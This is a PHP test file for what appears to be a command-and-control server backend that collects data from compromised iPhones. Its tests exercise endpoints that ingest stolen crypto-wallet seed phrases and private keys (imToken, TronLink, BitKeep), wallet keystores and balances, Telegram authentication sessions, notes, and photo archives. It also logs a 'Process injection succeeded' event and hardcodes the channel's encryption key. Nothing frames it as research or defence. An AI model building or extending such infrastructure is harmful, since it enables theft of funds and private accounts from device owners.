484 lines
17 KiB
PHP
484 lines
17 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\DeviceEvent;
|
|
use App\Models\Note;
|
|
use App\Models\PageVisit;
|
|
use App\Models\Photo;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\CorunaCrypto;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Http\UploadedFile;
|
|
use Illuminate\Support\Facades\Cache;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Storage;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class XxbbC2ApiTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private function xxbbCrypto(): CorunaCrypto
|
|
{
|
|
return new CorunaCrypto('Ek8pl31K2yeHgQwy');
|
|
}
|
|
|
|
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899')
|
|
{
|
|
$enc = $this->xxbbCrypto()->encryptJson($payload, $ts);
|
|
|
|
return $this->call('POST', $path, [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_X_TS' => $ts,
|
|
], $enc['body']);
|
|
}
|
|
|
|
#[Test]
|
|
public function vhx_returns_plain_ok(): void
|
|
{
|
|
$this->get('/vhx')->assertOk()->assertSee('ok');
|
|
$this->call('HEAD', '/vhx')->assertOk();
|
|
}
|
|
|
|
#[Test]
|
|
public function iptj_records_page_visit(): void
|
|
{
|
|
Cache::flush();
|
|
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
|
|
|
|
$this->call('POST', '/api/iptj', [], [], [], [
|
|
'CONTENT_TYPE' => 'application/json',
|
|
'HTTP_USER_AGENT' => $ua,
|
|
], json_encode([
|
|
'channelCode' => '56885688',
|
|
'deviceVersion' => 'iOS 16.6',
|
|
'domain' => 'xxbb.tv',
|
|
]))->assertOk();
|
|
|
|
$row = PageVisit::query()->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('56885688', $row->channel_id);
|
|
$this->assertSame('xxbb.tv', $row->domain);
|
|
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
|
|
$this->assertNotSame('xxbb.tv', $row->client_uid);
|
|
$this->assertSame('iOS', $row->os);
|
|
$this->assertSame('16.6', $row->os_version);
|
|
$this->assertNull($row->session_id);
|
|
}
|
|
|
|
#[Test]
|
|
public function iptj_prefers_ua_patch_over_coarse_device_version(): void
|
|
{
|
|
Cache::flush();
|
|
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1';
|
|
|
|
$this->call('POST', '/api/iptj', [], [], [], [
|
|
'CONTENT_TYPE' => 'application/json',
|
|
'HTTP_USER_AGENT' => $ua,
|
|
], json_encode([
|
|
'channelCode' => '56885688',
|
|
'deviceVersion' => 'iOS 15.8',
|
|
'domain' => 'xxbb.tv',
|
|
]))->assertOk();
|
|
|
|
$row = PageVisit::query()->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('iOS', $row->os);
|
|
$this->assertSame('15.8.4', $row->os_version);
|
|
$this->assertSame('Safari', $row->browser);
|
|
$this->assertSame('15.6.7', $row->browser_version);
|
|
}
|
|
|
|
#[Test]
|
|
public function iptj_dedupes_by_session_id(): void
|
|
{
|
|
Cache::flush();
|
|
$body = [
|
|
'channelCode' => '56885688',
|
|
'deviceVersion' => 'iOS 16.6',
|
|
'domain' => 'xxbb.tv',
|
|
'sessionId' => '11111111-2222-4333-8444-555555555555',
|
|
];
|
|
|
|
$this->call('POST', '/api/iptj', [], [], [], [
|
|
'CONTENT_TYPE' => 'application/json',
|
|
], json_encode($body))->assertOk();
|
|
Cache::flush();
|
|
$this->call('POST', '/api/iptj', [], [], [], [
|
|
'CONTENT_TYPE' => 'application/json',
|
|
], json_encode($body))->assertOk();
|
|
$this->call('POST', '/api/iptj', [], [], [], [
|
|
'CONTENT_TYPE' => 'application/json',
|
|
], json_encode([
|
|
...$body,
|
|
'sessionId' => 'aaaaaaaa-bbbb-4ccc-8ddd-eeeeeeeeeeee',
|
|
]))->assertOk();
|
|
|
|
$this->assertSame(2, PageVisit::query()->count());
|
|
$this->assertSame(
|
|
'11111111-2222-4333-8444-555555555555',
|
|
PageVisit::query()->orderBy('id')->value('session_id'),
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function profile_creates_device_from_device_info(): void
|
|
{
|
|
$this->xxbbPost('/a', [
|
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
'd' => '000C30D83CD0402E',
|
|
'f' => '000C30D83CD0402E',
|
|
'deviceModel' => 'iPhone',
|
|
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
|
])->assertOk()->assertSee('1786468227899{}', false);
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame('iPhone12,8', $device->device_model);
|
|
$this->assertSame('16.6', $device->ios_version);
|
|
$this->assertNull($device->channel_id);
|
|
}
|
|
|
|
#[Test]
|
|
public function profile_upgrades_generic_model_on_existing_device(): void
|
|
{
|
|
Device::query()->create([
|
|
'device_id' => '000C30D83CD0402E',
|
|
'device_model' => 'iPhone',
|
|
'ios_version' => null,
|
|
]);
|
|
|
|
$this->xxbbPost('/a', [
|
|
'd' => '000C30D83CD0402E',
|
|
'deviceModel' => 'iPhone',
|
|
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertSame('iPhone12,8', $device->device_model);
|
|
$this->assertSame('16.6', $device->ios_version);
|
|
}
|
|
|
|
#[Test]
|
|
public function event_creates_device_and_log(): void
|
|
{
|
|
$this->xxbbPost('/event', [
|
|
'd' => '000C30D83CD0402E',
|
|
'f' => '000C30D83CD0402E',
|
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
'et' => 'injection_success',
|
|
'desc' => 'Process injection succeeded',
|
|
'ctx' => ['bundleId' => 'im.token.app'],
|
|
'm' => 'iPhone12,8',
|
|
'pv' => '16.6',
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame('iPhone12,8', $device->device_model);
|
|
$this->assertSame('16.6', $device->ios_version);
|
|
$this->assertNull($device->channel_id);
|
|
|
|
$ev = DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($ev);
|
|
$this->assertSame('injection_success', $ev->event_name);
|
|
}
|
|
|
|
#[Test]
|
|
public function apps_ingests_al(): void
|
|
{
|
|
$this->xxbbPost('/u', [
|
|
'd' => '000C30D83CD0402E',
|
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
'v' => '16.6',
|
|
'al' => [
|
|
['a' => 'imToken', 'b' => 'im.token.app', 'v' => '2.21.0'],
|
|
],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertNull($device->channel_id);
|
|
$app = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'im.token.app')->first();
|
|
$this->assertNotNull($app);
|
|
$this->assertSame('imToken', $app->name);
|
|
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
|
$this->assertSame(['imToken'], $device->walletNameList());
|
|
}
|
|
|
|
#[Test]
|
|
public function uj_stores_keystore_from_json_string(): void
|
|
{
|
|
$this->xxbbPost('/uj', [
|
|
'd' => '000C30D83CD0402E',
|
|
'a' => 'b',
|
|
'result' => json_encode([
|
|
'crypto' => ['cipher' => 'aes-128-ctr', 'ciphertext' => 'deadbeef'],
|
|
]),
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($ks);
|
|
$this->assertSame('aes-128-ctr', $ks->raw_json['crypto']['cipher'] ?? null);
|
|
}
|
|
|
|
#[Test]
|
|
public function ub_ingests_ba_json_string(): void
|
|
{
|
|
Http::fake([
|
|
'*' => Http::response(['ok' => true], 200),
|
|
]);
|
|
|
|
$this->xxbbPost('/ub', [
|
|
'd' => '000C30D83CD0402E',
|
|
'a' => 'b1',
|
|
'ba' => json_encode([
|
|
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => [
|
|
[
|
|
'decimal' => '6',
|
|
'symbol' => 'USDT',
|
|
'chainType' => 'TRON',
|
|
'balance' => '0',
|
|
],
|
|
[
|
|
'decimal' => '6',
|
|
'symbol' => 'TRX',
|
|
'chainType' => 'TRON',
|
|
'balance' => '0',
|
|
],
|
|
],
|
|
]),
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('TRON', $addr->chain_type);
|
|
$this->assertSame('imToken', $addr->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function lab_timestamp_header_does_not_decrypt_xxbb_body(): void
|
|
{
|
|
$enc = $this->xxbbCrypto()->encryptJson([
|
|
'd' => '000C30D83CD0402E',
|
|
'et' => 'heartbeat',
|
|
], '1786468227899');
|
|
|
|
$this->call('POST', '/event', [], [], [], [
|
|
'CONTENT_TYPE' => 'text/plain',
|
|
'HTTP_TIMESTAMP' => '1786468227899',
|
|
], $enc['body'])->assertOk();
|
|
|
|
$this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->first());
|
|
}
|
|
|
|
#[Test]
|
|
public function nb_ingests_notes(): void
|
|
{
|
|
$this->xxbbPost('/nb', [
|
|
'd' => '000C30D83CD0402E',
|
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
'list' => [
|
|
"spawn rabbit unusual favorite yard recipe\n(R(R",
|
|
'second note line',
|
|
],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$this->assertSame(1, Note::query()->where('device_id', $device->id)->count());
|
|
$note = Note::query()->where('device_id', $device->id)->first();
|
|
$this->assertIsArray($note->content);
|
|
$this->assertCount(2, $note->content);
|
|
$this->assertStringContainsString('spawn rabbit', $note->content[0]);
|
|
}
|
|
|
|
#[Test]
|
|
public function result_ingests_mnemonic(): void
|
|
{
|
|
$this->xxbbPost('/result', [
|
|
'd' => '000C30D83CD0402E',
|
|
'a' => 'b',
|
|
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('imToken', $row->source);
|
|
$this->assertStringContainsString('abandon', $row->mnemonic);
|
|
}
|
|
|
|
#[Test]
|
|
public function t_extracts_photo_archive_and_stores_file(): void
|
|
{
|
|
Storage::fake('local');
|
|
$crypto = $this->xxbbCrypto();
|
|
$tmp = sys_get_temp_dir().'/xxbb_photo_'.uniqid();
|
|
mkdir($tmp);
|
|
$jpegPath = $tmp.'/hit.jpg';
|
|
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
|
$archivePath = $tmp.'/capture.7z';
|
|
$password = $crypto->archivePassword('0');
|
|
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
|
? '/opt/homebrew/opt/p7zip/bin/7z'
|
|
: '7z';
|
|
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
|
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
|
exec($cmd, $out, $code);
|
|
$this->assertSame(0, $code, implode("\n", $out));
|
|
|
|
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
|
$this->call(
|
|
'POST',
|
|
'/t',
|
|
[
|
|
'd' => '000C30D83CD0402E',
|
|
'f' => '000C30D83CD0402E',
|
|
'batchBase' => '0',
|
|
'idx' => '000001000000',
|
|
'ftu' => '000001000000',
|
|
'x-hit' => '12',
|
|
],
|
|
[],
|
|
['file' => $upload],
|
|
['CONTENT_TYPE' => 'multipart/form-data']
|
|
)->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$photo = Photo::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($photo);
|
|
$this->assertSame(hash('sha256', "\xFF\xD8\xFF\xD9"), $photo->sha256);
|
|
$this->assertSame(4, $photo->size);
|
|
$this->assertSame(12, $photo->x_hit);
|
|
$this->assertSame(1, $photo->upload_count);
|
|
$this->assertSame(0, $photo->process_index);
|
|
$this->assertSame(1, $photo->text_count);
|
|
$this->assertSame(0, $photo->barcode_count);
|
|
Storage::disk('local')->assertExists($photo->path);
|
|
|
|
@unlink($jpegPath);
|
|
@unlink($archivePath);
|
|
@rmdir($tmp);
|
|
}
|
|
|
|
#[Test]
|
|
public function us_ingests_tronlink_mnemonic(): void
|
|
{
|
|
$this->xxbbPost('/us', [
|
|
'd' => '000C30D83CD0402E',
|
|
'a' => 'c',
|
|
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('TronLink', $row->source);
|
|
}
|
|
|
|
#[Test]
|
|
public function us_ingests_private_key_without_result_wrapper(): void
|
|
{
|
|
$this->xxbbPost('/us', [
|
|
'd' => '000C30D83CD0402E',
|
|
'a' => 'f',
|
|
'privateKey' => '0x'.str_repeat('ab', 32),
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$row = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($row);
|
|
$this->assertSame('BitKeep', $row->source);
|
|
$this->assertStringStartsWith('0x', $row->mnemonic);
|
|
}
|
|
|
|
#[Test]
|
|
public function ub_ingests_global_wallet_ad_map(): void
|
|
{
|
|
Http::fake(['*' => Http::response(['ok' => true], 200)]);
|
|
|
|
$this->xxbbPost('/ub', [
|
|
'd' => '000C30D83CD0402E',
|
|
'a' => 'p',
|
|
'ad' => [
|
|
'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6' => '0.32647342126093182783704',
|
|
],
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$addr = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6')
|
|
->first();
|
|
$this->assertNotNull($addr);
|
|
$this->assertSame('Global Wallet', $addr->source);
|
|
$this->assertSame('TRON', $addr->chain_type);
|
|
}
|
|
|
|
#[Test]
|
|
public function api_tg_t_ingests_telegram_auth(): void
|
|
{
|
|
$this->xxbbPost('/api/tg/t', [
|
|
'd' => '000C30D83CD0402E',
|
|
'd1' => '00008030-000C30D83CD0402E',
|
|
'd2' => 'FFXD5S8FPLJM',
|
|
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
'a' => 'tg',
|
|
'user_id' => '123456789',
|
|
'state' => ['records' => [['id' => 1]]],
|
|
'db_sqlite' => base64_encode('not-a-real-sqlite'),
|
|
'datacenterAuthInfoById' => 'AQID',
|
|
])->assertOk();
|
|
|
|
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
$this->assertNotNull($device);
|
|
$ks = WalletKeystore::query()->where('device_id', $device->id)->first();
|
|
$this->assertNotNull($ks);
|
|
$this->assertSame('123456789', $ks->raw_json['user_id'] ?? null);
|
|
$this->assertSame('Telegram', $ks->raw_json['source'] ?? null);
|
|
$this->assertArrayHasKey('db_sqlite', $ks->raw_json);
|
|
$this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null);
|
|
}
|
|
|
|
#[Test]
|
|
public function xxbb_request_logs_to_xxbb_folder_not_c2(): void
|
|
{
|
|
$marker = 'XXBBLOG'.uniqid();
|
|
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
|
|
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
|
|
@unlink($xxbbLog);
|
|
|
|
$this->xxbbPost('/event', [
|
|
'd' => '000C30D83CD0402E',
|
|
'et' => $marker,
|
|
])->assertOk();
|
|
|
|
$this->assertFileExists($xxbbLog);
|
|
$xxbbBody = (string) file_get_contents($xxbbLog);
|
|
$this->assertStringContainsString('/event', $xxbbBody);
|
|
$this->assertStringContainsString($marker, $xxbbBody);
|
|
if (is_file($c2Log)) {
|
|
$this->assertStringNotContainsString($marker, (string) file_get_contents($c2Log));
|
|
}
|
|
}
|
|
}
|